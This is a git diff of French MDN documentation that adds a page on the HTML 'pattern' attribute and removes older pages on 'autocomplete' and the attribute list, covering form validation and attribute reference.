type{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("command")}}, {{HTMLElement("embed")}}, {{HTMLElement("object")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}, {{HTMLElement("menu")}}Cet attribut définit le type de l'élément.
usemap{{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}
value{{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("input")}}, {{HTMLElement("li")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}, {{HTMLElement("param")}}Cet attribut définit la valeur par défaut qui sera affichée dans l'élément au chargement de la page.
width{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} +

Pour ces éléments, cet attribut définit la largeur occupée sur l'écran.

+ +
+

Note : Pour tous les autres éléments, comme {{HTMLElement("div")}}, il faut utiliser la propriété CSS standard {{cssxref("width")}} afin de définir la largeur.

+
+
wrap{{HTMLElement("textarea")}}Cet attribut indique l'utilisation du retour automatique à la ligne pour le texte de l'élément.
+ +

Attribut de contenu ou attribut IDL ?

+ +

En HTML, la plupart des attributs ont deux aspects : l'attribut de contenu et l'attribut IDL (pour Interface Definition Language ou langage de définition des interfaces).

+ +

L'attribut de contenu est l'attribut qu'on définit via le contenu (le code HTML) et qu'on obtenir et/ou définir via les méthodes {{domxref("element.setAttribute()")}} et {{domxref("element.getAttribute()")}}. L'attribut de contenu sera toujours une chaîne de caractères, y compris lorsque la valeur attendue est un entier. Ainsi, pour indiquer une maxlength d'un élément {{HTMLElement("input")}} à 42, on utilisera setAttribute("maxlength", "42") sur cet élément.

+ +

L'attribut IDL est également connu sous la forme d'une propriété JavaScript. Ce sont les attributs qu'on peut obtenir ou modifier via JavaScript sous la forme élément.toto. L'attribut IDL utilisera toujours la valeur de l'attribut de contenu sous-jacent, éventuellement en la modifiant pour renvoyer une valeur ou pour la modifier. Autrement dit, les attributs IDL, reflètent les attributs de contenu.

+ +

La plupart du temps, les attributs IDL renverront leurs valeurs, telles qu'elles sont utilisées. Par exemple, le type (l'attribut type) par défaut des éléments {{HTMLElement("input")}} vaut "text", et si on définit input.type="tototruc", l'élément <input> se comportera comme un élément de type text (en termes d'apparence et de comportement) mais le contenu de l'attribut type sera "tototruc". Cependant, l'attribut de type IDL renverra la chaîne "text".

+ +

Les attributs IDL ne sont pas toujours des chaînes de caractères. input.maxlength est un nombre par exemple (un entier long signé pour être précis). Lorsqu'on manipule des attributs IDL on utilisera toujours le type défini pour l'interface. Ainsi, input.maxlength renverra toujours un nombre et si on souhaite le définir, il faudra le faire avec un nombre, si on passe une valeur d'un autre type, cette valeur sera convertie grâce aux mécanismes de conversion habituels de JavaScript.

+ +

Les attributs IDL peuvent avoir d'autres types : entiers longs non-signés, URL, booléens, etc. Cependant, il n'existe pas de règle claire qui définisse le comportement des attributs IDL en fonction de l'attribut de contenu. La plupart du temps, les règles de cette spécification seront suivies.

+ +

Attributs booléens

+ +

Certains attributs de contenu (ex. required, readonly, disabled) sont des attributs booléens. Si un attribut booléen est présent, sa valeur correspondra à vrai (true), s'il est absent, sa valeur correspondra à faux (false).

+ +

HTML5 définit certaines restrictions quant aux valeurs autorisées pour les attributs booléens. Si un attribut est présent, sa valeur doit être :

+ +
    +
  • aucune valeur
    • +
  • la chaîne vide
    • +
  • une valeur écrite en ASCII, insensible à la casse, qui représente le nom canonique de l'attribut sans blanc avant ou après la valeur.
    • +
+ +

Voici quelques exemples valides pour utiliser un attribut booléen :

+ +
<div itemscope>Ce fragment est du HTML valide mais du XML invalide.</div>
+<div itemscope=itemscope>Ce fragment est du HTML valide mais du XML invalide.</div>
+<div itemscope="">Ce fragment est du HTML valide et du XML valide.</div>
+<div itemscope="itemscope">Ce fragment est du HTML et du XML valide mais est plus verbeux.</div>
+ +

Pour être tout à fait explicite, les valeurs "true" et "false" ne sont pas autorisées pour les attributs booléens. Pour représenter une valeur fausse, il faudra ne pas écrire l'attribut du tout.

+ +

Cette règle peut entraîner quelques incompréhensions : si on écrit checked="false" l'attribut checked sera présent et donc considéré comme vrai (true).

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/attributes/pattern/index.html b/files/fr/web/html/attributes/pattern/index.html new file mode 100644 index 0000000000..556f50aca9 --- /dev/null +++ b/files/fr/web/html/attributes/pattern/index.html @@ -0,0 +1,161 @@ +--- +title: 'HTML attribute: pattern' +slug: Web/HTML/Attributs/pattern +tags: + - Attribut + - HTML + - Reference +translation_of: Web/HTML/Attributes/pattern +--- +
{{HTMLSidebar}}
+ +

L'attribut pattern indique une expression rationnelle que doit respecter la valeur du contrôle du formulaire. Si une valeur non nulle (qui n'est pas null) ne respecte pas les contraintes portées par pattern, la propriété {{domxref('ValidityState.patternMismatch','patternMismatch')}} en lecture seule, rattachée à l'objet {{domxref('ValidityState')}}, vaudra true.

+ +

L'attribut pattern peut être utilisé pour les champs de type {{HTMLElement("input/text", "text")}}, {{HTMLElement("input/tel", "tel")}}, {{HTMLElement("input/email", "email")}}, {{HTMLElement("input/url", "url")}}, {{HTMLElement("input/password", "password")}}, {{HTMLElement("input/search", "search")}}.

+ +
+

La valeur de cet attribut doit être une expression rationnelle JavaScript valide (voir la documentation de {{jsxref("RegExp")}} et le guide sur les expressions rationnelles). Le marqueur (flag) 'u' pour être utilisé afin d'indiquer que l'expression rationnelle est une séquence de codets Unicode et non ASCII. On n'utilisera pas de barres obliques (slashes) autour du texte du motif de l'expression rationnelle.

+ +

Si le motif n'est pas indiqué ou est invalide, aucune expression rationnelle ne sera appliquée et l'attribut sera ignoré.

+ +
+

Note : On pourra utiliser l'attribut {{htmlattrxref("title", "input")}} afin de fournir aux utilisateurs des explications quant aux règles à respecter pour que la valeur soit valide. Attention, on ne doit pas utiliser uniquement cet attribut pour fournir ces explications. Voir ci-après quant à l'utilisabilité.

+
+
+ +

Certains types d'<input> qui prennent en charge l'attribut pattern (notamment {{HTMLElement("input/email", "email")}} et {{HTMLElement("input/url", "url")}}) ont des contraintes particulières qui doivent également être respectées. Si l'attribut pattern n'est pas présent et que la valeur saisie ne respecte pas la syntaxe attendue pour ce type de champ, la propriété en lecture seule {{domxref('ValidityState.typeMismatch','typeMismatch')}} vaudra true.

+ +

Utilisabilité

+ +

Lorsqu'on utilise l'attribut pattern, il est nécessaire de fournir une description du format attendu avec un texte visible près du contrôle. On pourra en plus utiliser l'attribut title afin de fournir une description. Les agents utilisateur peuvent utiliser la valeur de title lors de la validation des contraintes afin d'indiquer à l'utilisateur que le motif n'est pas respecté. Certains navigateurs pourront afficher une bulle d'information et certains outils d'assistance pourront énoncer le contenu de title à voix haute lorsque le focus arrive sur le contrôle. Toutefois, l'utilisation seule de cet attribut ne suffit pas pour fournir une accessibilité suffisante.

+ +

Validation des contraintes

+ +

Si la valeur du champ n'est pas la chaîne vide et que la valeur ne respecte pas l'expression rationnelle, on aura une incohérence, portée par {{domxref('ValidityState.patternMismatch','patternMismatch')}}.
+ L'expression rationnelle indiquée doit correspondre pour toute la chaîne (depuis son début jusqu'à la fin. Autrement dit, c'est comme si on enveloppait l'expression entre ^(?: et )$ afin d'indiquer que c'est toute la chaîne qui est considérée (et pas une de ses sous-partie).

+ +

Exemples

+ +

Avec le fragment de code HTML suivant :

+ +
+
<p>
+ <label>Veuillez saisir votre numéro de téléphone au format (123)456-7890
+  (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)-
+   <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> -
+   <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/>
+ </label>
+</p>
+ +

Ici on a les trois sections d'un numéro de téléphone nord-américain avec les deux premières contenant 3 chiffres et la dernière contenant 4 chiffres.

+ +

Si les valeurs saisies sont trop longues ou trop courtes ou si elles contiennent des caractères qui ne sont pas des chiffres, la valeur de l'attribut patternMismatch sera true. On aura également l'activation de la pseudo-classe CSS {{cssxref(":invalid")}}.

+ +
input:invalid {
+  border: red solid 3px;
+}
+ +

{{EmbedLiveSample("exemple1", 300, 40)}}

+
+ +

En utilisant les attributs minlength et maxlength à la place, on aurait eu les propriétés {{domxref('validityState.tooLong')}} ou {{domxref('validityState.tooShort')}} qui auraient valu true.

+ +

Indiquer un motif

+ +

On pourra utiliser l'attribut {{htmlattrxref("pattern","input")}} afin d'indiquer une expression rationnelle qui devra être respectée par la valeur saisie pour que celle-ci soit considérée comme valide (voir ce guide sur la validation avec les expressions rationnelles pour une introduction).

+ +

L'exemple qui suit permet de restreindre les valeurs saisies entre 4 et 8 caractères qui doivent également être des lettres minuscules.

+ +
<form>
+  <div>
+    <label for="uname">Veuillez choisir un nom d'utilisateur : </label>
+    <input type="text" id="uname" name="name" required size="45"
+           pattern="[a-z]{4,8}" title="4 à 8 lettres en minuscules">
+    <span class="validity"></span>
+    <p>Les noms d'utilisateurs doivent être en minuscules et contenir 4 à 8 caractères.</p>
+  </div>
+  <div>
+    <button>Envoyer</button>
+  </div>
+</form>
+ + + +

Résultat

+ +

{{EmbedLiveSample('Indiquer_un_motif', 600, 110)}}

+ +

Accessibilité

+ +

Lorsqu'un contrôle dispose de l'attribut pattern, l'attribut title, s'il est utilisé, doit décrire le motif souhaité. Attention, reposer uniquement sur l'attribut title pour fournir une aide visuelle n'est pas souhaitable car la plupart des agents utilisateur n'exposent pas cet attribut de façon accessible. Certains navigateurs affichent une bulle d'information lorsqu'on survole l'élément avec un pointeur mais cela laisse de côté les utilisateurs qui naviguent avec le clavier ou ceux qui utilisent une interface tactile. Il faut donc inclure au moins autrement des informations sur la façon de saisir des valeurs qui respectent les contraintes.

+ +

L'attribut title est utilisé par certains navigateurs pour écrire les messages d'erreur. Attention toutefois car les navigateurs affichent également le contenu de cet attribut au survol de l'élément y compris lorsqu'il n'y a pas d'erreur. La formulation doit être choisie avec précaution pour ne pas induire l'utilisateur en erreur.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'forms.html#attr-input-pattern', 'pattern')}}{{Spec2('HTML5 W3C')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.attributes.pattern")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/attributs/autocomplete/index.html b/files/fr/web/html/attributs/autocomplete/index.html deleted file mode 100644 index fca919718d..0000000000 --- a/files/fr/web/html/attributs/autocomplete/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: autocomplete -slug: Web/HTML/Attributs/autocomplete -tags: - - Attribut - - HTML - - Input - - Reference -translation_of: Web/HTML/Attributes/autocomplete ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut autocomplete est disponible pour différents types d'éléments {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, {{HTMLElement("select")}} et {{HTMLElement("form")}}. autocomplete permet d'indiquer à l'agent utilisateur qu'une assistance de saisie automatique peut être fournie et également d'indiquer le type de donnée attendu.

- -

La source fournissant les valeurs suggérées pour l'autocomplétion dépend du navigateur. Généralement, celle-ci est constituée des valeurs saisies précédemment par l'utilisateur. Ce peuvent également être des valeurs préconfigurées. Ainsi, un navigateur pourra permettre à un utilisateur d'enregistrer son nom, son adresse, son numéro de téléphone et des adresses électroniques pour l'aider lors de l'autocomplétion. Le navigateur pourrait également fournir le stockage chiffré des informations de cartes bancaires et déclencher une procédure d'authentification lorsque ces informations doivent être récupérées pour être utilisées.

- -

Si l'élément {{HTMLElement("input")}}, {{HTMLElement("select")}} ou {{HTMLElement("textarea")}} ne possèdent pas d'attribut autocomplete, le navigateur utilisera l'attribut autocomplete du formulaire associé (c'est-à-dire l'élément {{HTMLElement("form")}} qui est l'ancêtre de l'élément <input> ou l'élément <form> dont la valeur de l'attribut id correspond à celle indiquée avec l'attribut {{htmlattrxref("form", "input")}} de l'élément <input>).

- -

Pour plus d'informations, voir la documentation de l'attribut {{htmlattrxref("autocomplete", "form")}} pour l'élément {{HTMLElement("form")}}.

- -
-

Note : Afin de fournir des fonctionnalités d'autocomplétion, un agent utilisateur pourra utiliser les prérequis suivants quant aux éléments <input>/<select>/<textarea>:

- -
    -
  1. Que ceux-ci aient un attribut name et/ou id
    2. -
  2. Que ceux-ci descendent d'un élément <form>
    3. -
  3. Que le formulaire associé ait un bouton {{HTMLElement("input/submit","submit")}}
    4. -
-
- -

Valeurs

- -
-
off
-
Le navigateur n'est pas autorisé à saisir automatiquement des valeurs pour ce champ. Cette valeur peut être utilisée lorsque le document ou l'application fournit son propre mécanisme d'autocomplétion ou lorsque des raisons de sécurité imposent de ne pas pouvoir saisir la valeur automatiquement. -
Note : Pour la plupart des navigateurs modernes, utiliser autocomplete="off" n'empêchera pas un gestionnaire de mots de passe de demander à l'utilisateur s'il souhaite sauvegarder le nom d'utilisateur et le mot de passe ou de renseigner automatiquement les informations pour un formulaire de connexion. Voir l'article sur l'attribut autocomplete et les champs des formulaires de connexion.
-
-
on
-
Le navigateur est autorisé à compléter automatiquement le champ. Aucune indication supplémentaire n'est fournie quant au type de donnée attendu et c'est donc au navigateur d'utiliser une heuristique pour proposer des valeurs pertinentes.
-
name
-
Le champ correspondant doit recevoir le nom complet de la personne. Utiliser cette valeur plutôt que les différents composants est une méthode souvent privilégiée car on évite ainsi de gérer les différents structures des différentes locales. Toutefois, on peut utiliser les composants suivants si on souhaite décomposer l'identité de la personne : -
-
honorific-prefix
-
Le préfixe ou le titre, par exemple « M. », « Mme. », « Me. » , etc.
-
given-name
-
Le prénom.
-
additional-name
-
Le deuxième prénom.
-
family-name
-
Le nom de famille.
-
honorific-suffix
-
Un suffixe (par exemple "Jr.").
-
nickname
-
Un surnom.
-
-
-
email
-
Une adresse électronique.
-
username
-
Un nom de compte ou un nom d'utilisateur.
-
new-password
-
Un nouveau mot de passe. Lors de la création d'un compte ou lors d'un changement de mot de passe, cette valeur pourra être utilisée pour le champ où saisir le nouveau mot de passe. Ainsi, on évitera au navigateur de saisir automatiquement le mot de passe actuel ou le navigateur pourra même proposer un outil permettant de créer un mot de passe sécurisé.
-
current-password
-
Le mot de passe actuel de l'utilisateur.
-
one-time-code
-
Un code à usage unique, utilisé pour vérifier l'identité de l'utilisateur.
-
organization-title
-
Un titre de poste tel que « Directeur général », « Assistant technique » ou « Ingénieur ».
-
organization
-
Le nom d'une entreprise ou d'une organisation.
-
street-address
-
Une adresse postale. Cette adresse peut être un texte sur plusieurs lignes et devrait permettre d'identifier complètement l'emplacement de l'adresse au sein d'une ville. Cette valeur n'inclut pas le nom de la ville, le code postal ou le nom du pays.
-
address-line1, address-line2, address-line3
-
Des lignes individuelles pour décrire l'adresse postale. Ces valeurs peuvent être utilisées seulement lorsque la valeur street-address est absente.
-
address-level4
-
Le niveau d'adresse le plus fin (cf. la section ci-après) lorsque les adresses ont quatre niveau.
-
address-level3
-
Le troisième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins trois niveaux administratifs.
-
address-level2
-
Le deuxième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins deux niveaux administratifs. Pour les pays avec deux niveaux administratifs, cela correspond généralement à la ville, au village ou à la localité de l'adresse.
-
address-level1
-
Le premier niveau de précision d'une adresse (cf. la section ci-après). C'est généralement la région ou l'état dans lequel se situe l'adresse.
-
country
-
Un code de pays.
-
country-name
-
Un nom de pays.
-
postal-code
-
Un code postal.
-
cc-name
-
Le nom complet tel qu'indiqué sur une carte bancaire. On préfèrera généralement utiliser le nom complet plutôt que de le décomposer en fragments.
-
cc-given-name
-
Le prénom tel qu'indiqué sur une carte bancaire.
-
cc-additional-name
-
Le deuxième prénom tel qu'indiqué sur une carte bancaire.
-
cc-family-name
-
Le nom de famille tel qu'indiqué sur une carte bancaire.
-
cc-number
-
Le numéro de la carte bancaire ou tout autre numéro identifiant une méthode de paiement (ce peut être un numéro de compte par exemple).
-
cc-exp
-
La date d'expiration de la méthode de paiement telle qu'indiquée sur une carte bancaire (généralement sous la forme MM/YY ou sous la forme MM/YYYYY où MM correspond aux deux chiffres du mois et où YY ou YYYY correspondent aux chiffres de l'année).
-
cc-exp-month
-
Le mois d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.
-
cc-exp-year
-
L'année d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.
-
cc-csc
-
Le cryptogramme du moyen de paiement tel qu'indiqué sur une carte bancaire. il s'agit généralement du code à trois chiffres de vérification situé au dos de la carte bancaire.
-
cc-type
-
Le type de moyen de paiement ("Visa" ou "Master Card").
-
transaction-currency
-
La devise utilisée pour la transaction courante.
-
transaction-amount
-
Le montant de la transaction, pour un formulaire de paiement, exprimé dans la devise fournie par transaction-currency.
-
language
-
La langue préférée, indiquée sous la forme d'une balise de langue valide selon BCP 47.
-
bday
-
Une date de naissance complète.
-
bday-day
-
Le jour du mois de la date de naissance.
-
bday-month
-
Le mois de l'année de la date de naissance.
-
bday-year
-
L'année de la date de naissance.
-
sex
-
Un genre (tel que « femme », « homme », « Fa'afafine » etc.) sous la forme d'un texte libre sans passage à la ligne.
-
tel
-
Un numéro de téléphone complet qui inclut l'identifiant du pays. Si le numéro de téléphone doit être décomposé en composants, on pourra utiliser les valeurs suivantes : -
-
tel-country-code
-
L'indicateur du pays pour le numéro de téléphone (33 pour la France ou 1 pour les États-Unis par exemple).
-
tel-national
-
Le numéro de téléphone complet sans l'indicateur du pays.
-
tel-area-code
-
La code de la zone pour le numéro de téléphone avec un préfixe interne au pays si nécessaire.
-
tel-local
-
Le numéro de téléphone sans l'indicateur de pays ni l'indicateur de zone.
-
-
-
tel-extension
-
Une extension au numéro de téléphone qui permet par exemple d'indiquer le numéro de chambre dans un hôtel ou le numéro d'un bureau au sein d'une entreprise.
-
impp
-
Une URL pour un protocole de messagerie instantannée (par exemple "xmpp:username@example.net").
-
url
-
Une URL, pertinente dans le contexte du formulaire.
-
photo
-
L'URL d'une image représentant la personne, l'entreprise ou l'information de contact pour ce formulaire.
-
- -

Voir la spécification WHATWG pour plus de détails.

- -
-

Note : À la différence des autres navigateurs, pour Firefox, l'attribut autocomplete contrôlera également si l'état de désactivation ou de coche dynamique persiste lors d'un rechargement de la page pour un champ <input>. Par défaut, un élément reste désactivé ou coché/décoché lors des rechargements. En utilisant l'attribut autocomplete avec la valeur off, on désactive cette fonctionnalité. Cela fonctionne, y compris lorsque l'attribut autocomplete ne devrait pas s'appliquer à l'élément <input> d'après son type. Voir {{bug(654072)}}.

-
- -

Les niveaux administratifs pour les adresses

- -

Les quatre niveaux administratifs pour les adresses (address-level1 jusqu'à address-level4) décrivent l'adresse avec un niveau de précision croissant au sein du pays dans lequel l'adresse est situé. Chaque pays possède son propre système de division administrative et peut donc organiser les niveaux selon un ordre différent pour l'écriture des adresses.

- -

address-level1 représente toujours le niveau le plus large : c'est la composante la moins spécifique de l'adresse après la maille du pays.

- -

Disposition du formulaire

- -

Étant donné qu'une adresse s'écrit différemment selon le pays, il peut être utile, si possible, de fournir différentes dispositions de formulaires pour les utilisateurs (éventuellement en fonction de leur locale) pour faciliter la saisie de leur adresse pour leur pays.

- -

Variations

- -

La façon d'utiliser les niveaux administratifs varie d'un pays à l'autre. Voici quelques exemples non exhaustifs.

- -

États-Unis

- -

Aux États-Unis, une adresse s'écrit généralement comme suit :

- -

432 Anywhere St
- Exampleville CA 95555

- -

Dans ce cas, la portion la moins précise est le code "CA" (qui correspond au code postal pour l'état de Californie) et on a donc address-level1 qui correspond à ce niveau (ici l'état et plus particulièrement : "CA").

- -

La deuxième partie de l'adresse la moins précise est le nom de la ville et c'est donc cette information (ici "Exampleville") qui sera utilisée pour address-level2.

- -

Les niveaux 3 et 4 ne sont pas utilisés aux États-Unis.

- -

Royaume-Uni

- -

Le Royaume-Uni utilise un ou deux niveaux d'adresse selon l'adresse. Il s'agit de la ville postale et, dans certains cas, de la localité.

- -

Chine

- -

La Chine utilise jusqu'à trois niveaux administratifs : la province, la ville et le district.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.autocomplete")}}

- -

Voir aussi

- -
    -
  • L'élément HTML {{htmlelement("input")}}
    • -
  • L'élément HTML {{htmlelement("select")}}
    • -
  • L'élément HTML {{htmlelement("textarea")}}
    • -
  • L'élément HTML {{htmlelement("form")}}
    • -
  • Les formulaires HTML
    • -
  • Les attributs universels.
    • -
diff --git a/files/fr/web/html/attributs/index.html b/files/fr/web/html/attributs/index.html deleted file mode 100644 index 1b1c140c4e..0000000000 --- a/files/fr/web/html/attributs/index.html +++ /dev/null @@ -1,767 +0,0 @@ ---- -title: Liste des attributs HTML -slug: Web/HTML/Attributs -tags: - - Attribut - - HTML - - Reference - - Web -translation_of: Web/HTML/Attributes ---- -
{{HTMLSidebar}}
- -

Chaque élément HTML peut avoir un ou plusieurs attributs. Ces attributs sont des valeurs supplémentaires qui permettent de configurer les éléments ou d'adapter leur comportement.

- -

Liste des attributs

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de l'attributÉléments auxquels il s'appliqueDescription
accept{{HTMLElement("form")}}, {{HTMLElement("input")}}La liste des types acceptés par le serveur. Généralement, il s'agit de types de fichier.
accept-charset{{HTMLElement("form")}}La liste des jeux de caractères pris en charge.
accesskeyAttribut universelCet attribut permet de définir un raccourci clavier pour activer un élément ou lui passer le focus.
action{{HTMLElement("form")}}L'URI d'un programme qui traite les informations envoyées par le formulaire.
align{{HTMLElement("applet")}}, {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}} , {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}Cet attribut définit l'alignement horizontal de l'élément.
allow{{HTMLElement("iframe")}}Cet attribut définit les règles des fonctionnalités pour cette iframe.
alt{{HTMLElement("applet")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}Un texte alternatif à afficher lorsque l'élément ne peut pas être affiché.
async{{HTMLElement("script")}}Cet attribut indique que le script devrait être exécuté de façon asynchrone.
autocapitalizeAttribut universelCet attribut contrôle la façon dont un champ texte est saisi en majuscules de façon automatique.
autocomplete -

{{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}

- 		Cet attribut indique que ces contrôles ou que ce formulaire peuvent être remplis automatiquement par le navigateur.
autofocus{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique que l'élément doit recevoir le focus automatiquement une fois que la page est chargée.
autoplay{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique que l'élément audio ou vidéo doit être lancé dès que possible.
background{{HTMLElement("body")}}, {{HTMLElement("table")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}} -

Définit l'URL vers un fichier qui est une image.

- -

Note : Bien que les navigateurs et les clients emails prennent en charge cet attribut, cet attribut est obsolète. On utilisera plutôt la propriété {{cssxref("background-image")}}.

-
bgcolor{{HTMLElement("body")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("marquee")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}}, {{HTMLElement("tr")}} -

Cet attribut indique la couleur d'arrière-plan pour l'élément.

- -
-

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("background-color")}}.

-
-
border{{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("table")}} -

Cet attribut indique la largeur de la bordure.

- -
-

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("border")}}.

-
-
buffered{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut contient la valeur de l'intervalle de temps d'ores et déjà mis en mémoire tampon pour le média de l'élément.
challenge{{HTMLElement("keygen")}}Une chaîne de challenge qui est envoyée avec la clef publique.
charset{{HTMLElement("meta")}}, {{HTMLElement("script")}}Cet attribut déclare l'encodage de caractères utilisé pour la page ou le script.
checked{{HTMLElement("command")}}, {{HTMLElement("input")}}Cet attribut indique si l'élément doit être vérifié au chargement de la page.
cite{{HTMLElement("blockquote")}}, {{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("q")}}Cet attribut est une URI qui pointe vers la source de la citation ou de la modification.
classAttribut universelCet attribut permet de définir la ou les classes auxquelles appartient un élément afin de le manipuler en script ou de le mettre en forme avec CSS.
code{{HTMLElement("applet")}}Cet attribut définit l'URL du fichier de classe qui doit être utilisé pour le chargement et l'exécution de l'applet.
codebase{{HTMLElement("applet")}}Cet attribut fournit une URL absolue ou relative du dossier contenant les fichiers .class de l'applet.
color{{HTMLElement("basefont")}}, {{HTMLElement("font")}}, {{HTMLElement("hr")}} -

Cet attribut définit la couleur du texte grâce à un nom de couleur ou grâce à un code hexadécimal dans le format #RRGGBB.

- -
-

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("color")}}.

-
-
cols{{HTMLElement("textarea")}}Cet attribut définit le nombre de colonnes pour le texte contenu dans un textarea.
colspan{{HTMLElement("td")}}, {{HTMLElement("th")}}Cet attribut définit le nombre de colonnes sur lequel une cellule doit s'étendre.
content{{HTMLElement("meta")}}Une valeur associée avec http-equiv ou name selon le contexte.
contenteditableAttribut universelCet attribut indique si le contenu de l'élément peut être édité.
contextmenuAttribut universelCet attribut fait référence à l'identifiant d'un élément {{HTMLElement("menu")}} qui sera utilisé comme menu contextuel pour l'élément.
controls{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique si le navigateur doit afficher les contrôles de lecture du média pour l'utilisateur.
coords{{HTMLElement("area")}}Un ensemble de valeurs qui définit les coordonnées de la zone d'intérêt.
crossorigin{{HTMLElement("audio")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("video")}}Cet attribut gère les requêtes de différentes origines.
csp {{experimental_inline}}{{HTMLElement("iframe")}}Cet attribut définit la politique de sécurité de contenu que le document intégré doit respecter.
data{{HTMLElement("object")}}Cet attribut définit l'URL de la ressource.
data-*Attribut universelGrâce aux attributs de donnée, on peut associer des attributs personnalisés afin de transporter des informations spécifiques.
datetime{{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("time")}}Cet attribut indique la date et l'heure associées à l'élément.
decoding{{HTMLElement("img")}}Cet attribut indique la méthode préférée pour décoder l'image.
default{{HTMLElement("track")}}Cet attribut indique que la piste devrait être activée sauf si les préférences de l'utilisateur indique un autre choix.
defer{{HTMLElement("script")}}Cet attribut indique que le script doit être exécuté une fois que la page a été analysée.
dirAttribut universelCet attribut définit la direction du texte (gauche à droite ou droite à gauche).
dirname{{HTMLElement("input")}}, {{HTMLElement("textarea")}}
disabled{{HTMLElement("button")}}, {{HTMLElement("command")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'utilisateur peut interagir avec l'élément.
download{{HTMLElement("a")}}, {{HTMLElement("area")}}Cet attribut indique si l'hyperlien est utilisé afin de télécharger une ressource.
draggableAttribut universelCet attribut indique si l'élément peut être déplacé/glissé.
